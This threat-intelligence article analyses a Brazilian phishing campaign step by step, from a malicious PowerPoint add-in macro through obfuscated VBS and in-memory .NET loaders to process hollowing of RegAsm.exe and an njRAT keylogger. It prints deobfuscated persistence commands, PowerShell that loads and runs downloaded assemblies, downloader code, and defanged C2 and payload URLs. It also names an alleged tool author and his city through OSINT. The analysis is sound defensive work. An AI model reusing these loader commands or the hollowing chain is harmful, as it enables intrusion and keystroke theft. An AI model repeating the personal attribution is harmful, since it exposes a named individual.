All fileless attack steps

From phishing to malware, we analyze all steps of a fileless attack

By Alexandre Siviero

The alert of a phishing mailing that distributed a malicious Power Point was made by researchers Ankit Anubhav and Germán Fernández, who contacted the ISH team. These researchers attributed the threat to NjRAT, specifically to a branch called NYAN CAT.

The reason for the contact was the message in Portuguese that accompanied one of the malicious attachments observed, ComprovanteXdeXreserva.ppam (SHA1 - 94572d313222700a565f2ff161223bb28464636c). Its demo follows:

It is curious to note that the message alludes to an attachment in .doc format (Word document), even though the email carries a .ppam file. In possession of the malicious document, we set out for its static analysis.

Commented Malicious Macro

An analysis of the file in question revealed a single macro, without any attempts at obfuscation. On the contrary, parts of the code contained comments explaining its function. We have reproduced it below.

A search through the comments suggests that some of the code was copied from an August 2010 Microsoft technet forum thread, Excel file to UTF-8 Encoded Text file.

Comments like 'Specify stream type - we want To save text/string data. are identical between the above answer and the macro found. The variable name used for the stream object, fsT, is also identical. The only difference is the encoding: while the technet code specifies utf-8, the macro specifies utf-16.

It is interesting to note that the code is geared towards saving text in Unicode format. The reason for this will become obvious soon enough. In short, what the .ppam document does is to save the contents of a web page(hxxps://wtools[.]io/code/raw/b8GX) in a Visual Basic script(x.vbs) and execute it via wscript.exe.

Obfuscation with Unicode and Base64

The wtools site allows code sharing in a similar format to pastebin: content hosted there is available for GET requests. It will be used recursively throughout the chain of infection. A visit to the address referenced by the macro provides an obfuscated script, as shown below.

The image above clarifies the reason for preserving Unicode encoding: the code is obfuscated with symbols, which will be removed by substitution functions. The symbol "♌" will be erased and the strings that contained it will be written backwards. As a result of these transformations, we have the following string:

"'\AppDataRoaming\Microsoft\Windows\Start Menu\Programs\Startup\LwFWp.vbs')"

This is a file, LwFWp.vbs, saved in the Startup directory. This is a persistence tool: scripts and programs saved in this directory are executed automatically when the corresponding user logs on.

The sequence "┌♍" will also be erased, but without the subsequent reversal step. This information will be combined to form:

"System.IO.File]::Copy('adRbe','C:\Users\'[Environment]::UserName'\AppDataRoaming\Microsoft\Windows\Start Menu\Programs\Startup\LwFWp.vbs')

A line of obfuscated code immediately following is responsible for using the above string and composing the command that will result in persistence on the affected system. After the obfuscation is removed, the command is

cmd.exe /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command "[System.IO.File]::Copy('adRbe','C:\Users\'[Environment]::UserName'\AppDataRoaming\Microsoft\Windows\Start Menu\Programs\Startup\LwFWp.vbs'

The ping action on localhost (127.0.0.1) only serves to wait for 5 requests(-n 5) before executing the rest of the code. This is similar to using the sleep function, commonly seen in malware. Next the command prompt will call powershell, giving it a command to copy the contents of x.vbs (saved by the macro in the temporary directory) to the Startup folder. At a later point, after the script has been fully executed, a new instance of powershell will remove x.vbs (residing in the temporary folder) via the Remove-Item command.

Demonstrating persistence through the Startup folder

Interestingly, dynamic analysis showed that the file created in the Startup folder was named JXG.vbs, not LwFWp.vbs. Its content, however, was the same as x.vbs.

For the infection itself, Unicode character substitution and string reversal are combined with base64 encoding. An example of this is seen in the variable GlmHt:

Notice that inside the parentheses, after the opening quotation marks, there is the character "=". This is a clue that it is a base64 string. The characters "✍✍" will be replaced with "A", while the sequence of variables "ppDqQ & VgGCC & ppDqQ" will be replaced with the letter "Z". After reversing and decoding base64, we find the following command:

GlmHt = $.p.I.C.w.v. .=. .'.%.A.P.y.j.d.a.U.Y.a.k.%.';.[.B.y.t.e.[.]]. .$.H.W.q.M.Q. .=. .[.S.y.s.t.e.m...C.o.n.v.e.r.t.]:.:.F.r.o.m.B.a.s.e.6.4.S.t.r.i.n.g.(. .$.p.I.C.w.v. .).;.[.S.y.s.t.e.m....A.p.p.D.o.m.a.i.n.]:.:.C.u.r.r.e.n.t.D.o.m.a.i.n...L.o.a.d.(.$.H.W.q.M.Q.)...G.e.t.T.y.p.e.(.'.C.l.a.s.s.L.i.b.r.a.r.y.3...C.l.a.s.s.1.'.)...G.e.t.M.e.t.h.o.d.(.'.R.u.n.'.)...I.n.v.o.k.e.(.$.n.u.l.l.,. .[.o.b.j.e.c.t.[.].]. .(.'.W.G.8.b./.w.a.r./.e.d.o.c./.o.i...s.l.o.o.t.w./:.s.p.t.h.'.).

Dots between characters are a storage feature of strings in Unicode (each character is separated by a null byte, which is translated as "."). To make it easier to read, we use a simple python script to remove the unnecessary dots:

string = [UNICODE STRING]

unistring = ""

for i in range(0, (len(string)-1)):
    if i == 0:
        unistring += string[i]
        i+=1
    if string[i-1] == ".":
        if string[i-2] == "." and string[i] == ".":
            pass
        else:
            unistring += string[i]
            i+=1
print(unistring)

The script output gives us the following:

$pICwv ='%APyjdaUYak%';[Byte[]] $HWqMQ = [System.Convert]::FromBase64String( $pICwv );[System.AppDomain]::CurrentDomain.Load($HWqMQ).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('WG8b/war/edoc/oi.slootw//:sptth'))

Although not yet fully de-emphasized, the command is readable enough for us to derive a few points of attention (highlighted in red) from it. First, there is the term %APyjdaUYak%. Another part of the script points out why it should be replaced by the variable OPKSn. We have renamed some functions and removed obfuscation to make the contents of this variable easier to understand:

OPKSn = ReplaceString(ReverseString(GET_Reponse("hxxps://wtools[.]io/code/raw/b833")), "ÐÐÐ", "A")

In short, the code retrieves the content of another wtools page (highlighted in red), inverts it and replaces the sequence "ÐÐÐ" with the letter "A". When applying these transformations manually, we find one more base64-encoded content. When decoding it, it is possible to notice an executable file header:

This executable is a .NET DLL called ClassLibrary3.dll (SHA1: 9402d8272486ae59afadadc2f0cc3fdf5db258928fee44de3392b8b5d301743a). It is interesting to note that this DLL is not saved to disk, but rather read from wtools and passed as an argument to Powershell. This is a characteristic of fileless malware: the payloads never touch disk, they exist only in memory.

The Powershell command we are looking at references this DLL:

GetType('ClassLibrary3.Class1').GetMethod('Run')

The "Run" method is the next step in our analysis. Since it is a .NET executable, we use dnSpy to decompile it. Inspecting the code of the Run method, we find the following:

The first part of the code brings up the variable text, which will receive the contents of yet another URL written backwards, containing a txt file:

hxxps://ia804600[.]us[.]archive[.]org/4/items/rumpe-03/Rumpe03[.]txt

This file has several snowman characters (☃):

The rest of the code replaces every two snowmen with the letter A and reverses the text:

text = Strings.StrReverse(text);
text = text.Replace("☃☃", "A");

As seen several times throughout this analysis, after character substitution and text reversal, the result is encoded in base64. After decoding, we have one more executable:

This is yet another .NET executable, ClassLibrary1.dll (SHA1: 1b898622bc4a5a37320ec01e93f798fdf9c3b22f5b147532005a33b6a564b00b). Returning to the code of ClassLibrary3.dll you notice a reference to this new DLL:

string text2 = new WebClient
{
Encoding = Encoding.UTF8
}.DownloadString(Strings.StrReverse(QBXtX));
text2 = Strings.StrReverse(text2);
string str = "C:\\WindowsMicrosoft.NET\Framework";
str += "\\v4.0.30319";
AppDomain.CurrentDomain.Load(ClassLibrary1.dll.GetType("ClassLibrary1.Class1").GetMethod("Run").Invoke(null, new object[]
{
str + "\\RegAsm.exe",
Convert.FromBase64String(text2)
});

It is interesting to note that the section highlighted in green, ClassLibrary1.dll, is occupied by the executable itself in memory, just like the fileless behavior of ClassLibrary3.dll. This new DLL also uses a method called Run. Via dnSpy, we can confirm which arguments are passed to this method:

The first argument is string path, or a file with its full path on disk. From the code of ClassLibrary3.dll we find that it is C:\WindowsMicrosoft.NET\Framework\v4.0.30319\RegAsm.exe.

The second argument is data in bytes, represented in the code by Convert.FromBase64String(text2). This is another content to be decoded from a base64 string. What content? The content contained in the variable text2. Let's go back to the part of the code that refers to it:

string text2 = new WebClient
{
Encoding = Encoding.UTF8
}.DownloadString(Strings.StrReverse(QBXtX));
text2 = Strings.StrReverse(text2);

This is content encoded in Unicode (UTF8), which will be downloaded into the QBXtX variable; this variable is also the only parameter received by the Run method of ClassLibrary3.dll.

Let's recall the Powershell code we got from the vbs script:

$pICwv ='ClassLibrary3.dll';[Byte[]] $HWqMQ = [System.Convert]::FromBase64String( $pICwv);[System.AppDomain]::CurrentDomain.Load($HWqMQ).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('WG8b/war/edoc/oi.slootw//:sptth')) 

By inverting the text highlighted in red, we get to the last URL of wtools.io: hxxps://wtools[.].io/code/raw/b8GW. Having retrieved its contents, we should invert the text and decode it from base64 (I promise this is the last time we will need to do this):

This executable is the final payload, a version of njRAT called Client.exe (SHA-1: 2ef51053667af029a1eefa8f35b92e9b8ccb2871). Like the two DLLs, this is also a .NET executable that is never saved to disk (fileless malware).

A last revision of the ClassLibrary3.dll call:

AppDomain.CurrentDomain.Load(ClassLibrary1.dll).GetType("ClassLibrary1.Class1").GetMethod("Run").Invoke(null, new object[]{“C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe” , Client.exe});

Remembering that the terms in green are the executables themselves, decoded in memory.

Process Hollowing

We know that ClassLibrary3.dll is an executable responsible for decoding in memory ClassLibrary1.dll and executing it, passing the Windows binary RegAsm.exe and the in-memory njRAT(Client.exe) as arguments. But what exactly does ClassLibrary1.dll do? A query on VirusTotal provides a clue:

Verdicts from Kaspersky, Avast and other antivirus classify it as Injector. Since it receives a payload(Client.exe) and a legitimate Windows file(RegAsm.exe), we can theorize that its purpose is to create a legitimate process and inject malicious content into it. One of the techniques for this action is called Process Hollowing.

A quick static investigation of the executable brings more evidence of this possible functionality. These are the following methods:

kernel32.dll: CreateProcess, GetThreadContext, Wow64GetThreadContext, SetThreadContext, Wow64SetThreadContext, ReadProcessMemory, WriteProcessMemory, VirtualAllocEx, ResumeThread

ntdll.dll: NtUnmapViewOfSection

Highlighted in bold are methods that are commonly used together for Process Hollowing. The sequence is:

  1. Create a suspended process (CreateProcess);
  2. Remove your executable from its memory (NtUnmapViewOfSection);
  3. Allocate the region previously occupied by this executable (VirtualAllocEx);
  4. Write the malicious executable in it(WriteProcessMemory);
  5. Resume the process (ResumeThread).

Inspecting the executable in dnSpy, we look for its use of VirtualAllocEx:

Microsoft's developer documentation specifies the API arguments in question:

The last argument is the one we are interested in: flProtect. These are the flags that instruct Windows which protections should be given to that new region allocated in memory. In the code of ClassLibrary1.dll we see that this parameter receives the decimal value 64 (0x40 in hexadecimal). According to the protections documentation, the 0x40 flag is equivalent to the PAGE_EXECUTE_READWRITE protection. This protection is commonly used in injections, since it allows the malicious code to be written and executed by the target process.

To confirm our hypothesis that the RegAsm.exe process will be targeted for hollowing, we set out for dynamic analysis. We executed the malicious document and observed that, indeed, a Powershell process gave rise to a RegAsm.exe process. Using the vmmap tool from SysInternals, we inspected the memory of this process.

Here are the important points from the image above. First, the string window shows that we have an executable mapped into memory range 0x00400000 - 0X0040BFFF (we know this from the message in the DOS header of every executable: "!This program cannot be run in DOS mode.").

Behind this window we can see that this executable is in the Private Data region, shown by the yellow color. This is the first anomaly: all images of a process' executables are in the Image region, shown by the color purple.

Second, in the Protection column we see that address 0x00400000 has Execute/Read/Write protection. This is also anomalous, since all executables mapped to a process should have Execute/Read protection during execution.

Finally, we have the contents of the string window itself. There is a mention of Client.exe (the version name of njRAT passed as argument to ClassLibrary1.dll), as well as the suspicious term Keylogger.

Together, this evidence confirms our theory about ClassLibrary1.dll: its purpose is to create a RegAsm.exe process and replace in memory the legitimate executable with njRAT.

Client.exe Analysis (njRAT)

Keylogger Class

Once again we turn to dnSpy to analyze this binary. One interesting point to start the analysis is the Keylogger class whose name we saw among the strings of the RegAsm.exe process after the njRAT injection. This component is self-explanatory: it records each key pressed by the victim during the execution of the malware. These keystrokes are then converted to a readable format and eventually transmitted to the malware controller.

This snippet of code demonstrates that the keylogger is case sensitive, and notes the use of the Enter and Tab keys as [ENTER] and [TAP] respectively.

The AV method aims at registering the active window. Its name is bound to the date of capture of the keystrokes ("yy/MM/dd").

The WRK method is responsible for saving the content collected by the keylogger. To do this it uses the Program.SaveValueOnRegistry method with the argument this.vn. This argument is defined at the beginning of the Keylogger class:

Notice that this.vn = "[kl]". We understand from this that the content captured from the keyboard will be saved somewhere in the registry, under a key named [kl]. To find out which key, it is necessary to inspect the Program class.

Program Class

In this class you can inspect static variables to get the malware's settings.

C2 is defined in host, fidapeste2[.]duckdns[.]org, with the associated port defined in port, 5552.

The registryName variable(94b3fabc19494c) provides the name of the registry entry created by njRAT. This is visible in the registry operation methods, DeleteValueFromRegistry, GetValueFromRegistry and SaveValueOnRegistry:

Adding this information to what we understand about how the keylogger works, we can infer that the recorded keystrokes will be saved in Computer\HKEY_CURRENT_USER\Software\94b3fabc19494c\[kl]. To confirm this hypothesis, we performed a test in a virtualized environment:

The entire test is publicly available on AnyRun

In the screenshot above we see that this key actually exists in the theorized location. Its content contains the date and the name of the active window. The highlighted text shows that one of the steps in our test consisted of typing "this is another window" in Notepad++.

The keylogger did not register that the user's focus switched to the start menu, causing the search for "regedit" to be mistakenly assigned to Notepad++.

Let's return to the remaining fields of the RAT configuration. The victimName variable carries in base64 the term NYAN CAT, associated with an njRAT builder. The version variable denotes the version of njRAT, 0.7NC. The splitter is used in sending data to the C2 of the malware. This is visible on inspection of the Connect method:

The Program.Send line is an example of its use: it sends, upon connection, the text inf@!#&^%$ ("inf" + Program.splitter) followed by a base64-encoded string. This string will contain inputs captured by the keylogger available in the registry key [kl], here identified by the term "vn".

Also added to this string will be host information(fidapeste2[.]duckdns[.]org), port(5552), followed by the directory and name of the RAT executable (FileInfo(Application.ExecutablePath)). It is interesting to note that this infection does not save Client.exe to disk; possibly the return of this function under these circumstances would be the path of RegAsm.exe.

Another characteristic feature of njRAT is the ability of the malware to uninstall itself. This is accomplished by the Uninstall method:

This routine deletes the registry entry storing inputs captured by the keylogger (HKEY_CURRENT_USER\Software94b3fabc19494c\[kl]) and deletes the disk copy of njRAT via the command prompt.

As noted in the Connect method considerations, the infection analyzed here has this malware only in memory. Thus, the uninstall method would remove the captured inputs from the keyboard, but there would be no on-disk copy of Client.exe to delete.

This RAT has more modules than just the keylogger, communication with a command server and uninstall functionality. In order not to overextend this already extensive review, we decided to focus only on the functionalities we have portrayed so far.

Component Assignment

While analyzing the infection mechanism of this campaign, we noticed that the creator of ClassLibrary3.dll left in the final version of its executable a mention of the Visual Studio debugger symbol file (marked by the .pdb extension). The reference to this file shows that the DLL in question had its symbol file saved in:

C:\UsersPJohnDesktop\UpCryMethod DF\ClassLibrary3\ClassLibrary3\obj\Release\ClassLibrary3.pdb.

When searching the internet for the string UpCry associated with pjoao, we found a youtube user with a video published in November 2021, titled "!!! Update Upcry bypass WD 2021 exe to vbs !!!".

This video brings up some interesting clues. First, it demonstrates the use of a NYAN CAT builder for njRAT. The port used in the author's demonstration is also the same port seen in the sample we analyzed, 5552.

Another curious point is the accent of this pjoao, clearly from the northeast region of Brazil. This generates an association with C2, "fí da peste", a colloquialism from the same area. Since the author always uses the same surname in various internet activities, we were able to confirm via OSINT that his name is João Paulo and that he is a resident of Caruaru, Pernambuco.

https://forum.guiadohacker.com.br/vb5/member/257166-pjoao1578
https://social.msdn.microsoft.com/profile/jo%C3%A3o%20paulo%20%5B%5D/?ws=usercard-mini
pjoao1578's personal website mentions "The Sika", also mentioned in the MSDN profile under the name John Paul

In his video John shows a version of njRAT called Client.exe (same name as observed by us) being base64-encoded and then reversed. He then copies the result into text and hosts it on a site similar to wtools.

Another interesting point is UpCrypt (or UpCry, the spelling is inconsistent), a tool apparently authored by John Paul. This tool provides the possibility to "convert" an executable into vbs.

It is interesting to note also the options "Copy Startup VBS" and "Install and delete VBS". This behavior is similar to the one observed for x.vbs, where the script copied itself into the Startup folder and then was deleted from the temporary directory.

The Run Memory option (probably the intention was to write "Run From Memory") has "Rumpe01" checked. It is worth remembering that the executable responsible for Process Hollowing, ClassLibrary1.dll, was hosted as Rumpe03. A poor command of writing, both in Portuguese and English, is evident on John Paul's personal site. So we understand that the term Rumpe is probably an attempt to write RunPE, a nickname given to the Process Hollowing technique.

This tool is sold by John Paul, as he himself states in the comments of another of his videos.

A review of his personal website confirms that UpCrypt (or UpCry, the author's spelling is inconsistent) is on sale for 600 reals or $110.

Studying the steps of this infection chain, we observe a certain dissonance between the complexity of its components. The malicious macro, for example, suggests an author with very little experience (see the maintenance of comments on lines copied from the internet). If John Paul really created the UpCrypt tool, he should not make mistakes of this nature.

Although more complex than the macro, the vbs script obfuscation also has steps that point to a programmer with little knowledge, such as reversing a string three consecutive times (any odd reversal has the identical result as a single reversal).

Finally, there is also a clear difference in complexity between the DLL responsible for Process Hollowing (ClassLibrary1.dll) and the one created by John Paul (ClassLibrary3.dll). ClassLibrary1 is much more sophisticated in its obfuscation. It is probably a RunPE-ready DLL that is leveraged by UpCrypt, as indicated by the "Rumpe" options. The njRAT itself was not created by John Paul either.

We have high confidence that the VBS script used in this infection chain was generated by the UpCrypt tool, theoretically created by him. However, we cannot say with certainty that the whole campaign comes from John.

One of the points that suggests this is the case is the RAT configuration. The port used by the sample we analyzed is the same one demonstrated by John in his tutorial, while the address chosen for C2 is compatible with popular expressions of the region where he lives.

On the other hand, John openly publishes his tutorials on YouTube and sells the UpCrypt tool. Given the ease of use of it and the njRAT builder, it is possible that a criminal with little programming and malware experience simply bought the tool and followed the steps demonstrated by John Paul.

Acknowledgments:

Ankit Anubhav and Germán Fernández for sharing the malicious document in question and the results of their dynamic analysis. The two researchers also discussed some of the analysis steps with us, which undoubtedly expedited the entire process of studying this campaign.

Follow the ISH intelligence team on twitter

IOCs

SHA256
623027463a2ef70f60ff6a0991019847a3fb24da3b633b52da4a99a77c99f92b  ComprovanteXdeXreserva.ppam
82c9d74c9a8688ed1fffd53e3b8ffaf9ae8f85a843f34412d15f88b18ce134a9  x.vbs

The following hashes are not useful for detecting these executables on disk, since they only exist in memory. We provide them in case any researcher would like to download any of the executables to further study their operation. All three are available from MalwareBazaar.

1b898622bc4a5a37320ec01e93f798fdf9c3b22f5b147532005a33b6a564b00b  ClassLibrary1.dll
9402d8272486ae59afadadc2f0cc3fdf5db258928fee44de3392b8b5d301743a  ClassLibrary3.dll
08dd5907b25f93be9300016865aae429318e00969a1b875bfabe2018403ebd40  Client.exe

Register

Computer\HKEY_CURRENT_USER\Software\94b3fabc19494c\[kl]

Persistence

%APPDATA%MicrosoftWindowsStart MenuProgramsStartup JXG.vbs

Network

C2 URL: fidapeste2[.]duckdns[.]org
IP and port: 45[.]186[.]40[.]140:5552

Payload retrieval URLs:

hxxps://wtools[.]io/code/raw/b8GX

hxxps://wtools[.]io/code/raw/b833

hxxps://wtools[.].io/code/raw/b8GW

hxxps://ia804600[.]us[.]archive[.]org/4/items/rumpe-03/Rumpe03[.]txt

Strings in memory that suggest infection:

Keylogger
cmd.exe /C Y /N /D Y /T 1 & Del "
fidapeste2.duckdns.org
94b3fabc19494c
TllBTiBDQVQ=

Emulations:

https://tria.ge/220110-e8th2adha8/behavioral1

https://analyze.intezer.com/files/08dd5907b25f93be9300016865aae429318e00969a1b875bfabe2018403ebd40/iocs

Leave a Comment

Your e-mail address will not be published. Required fields are marked with *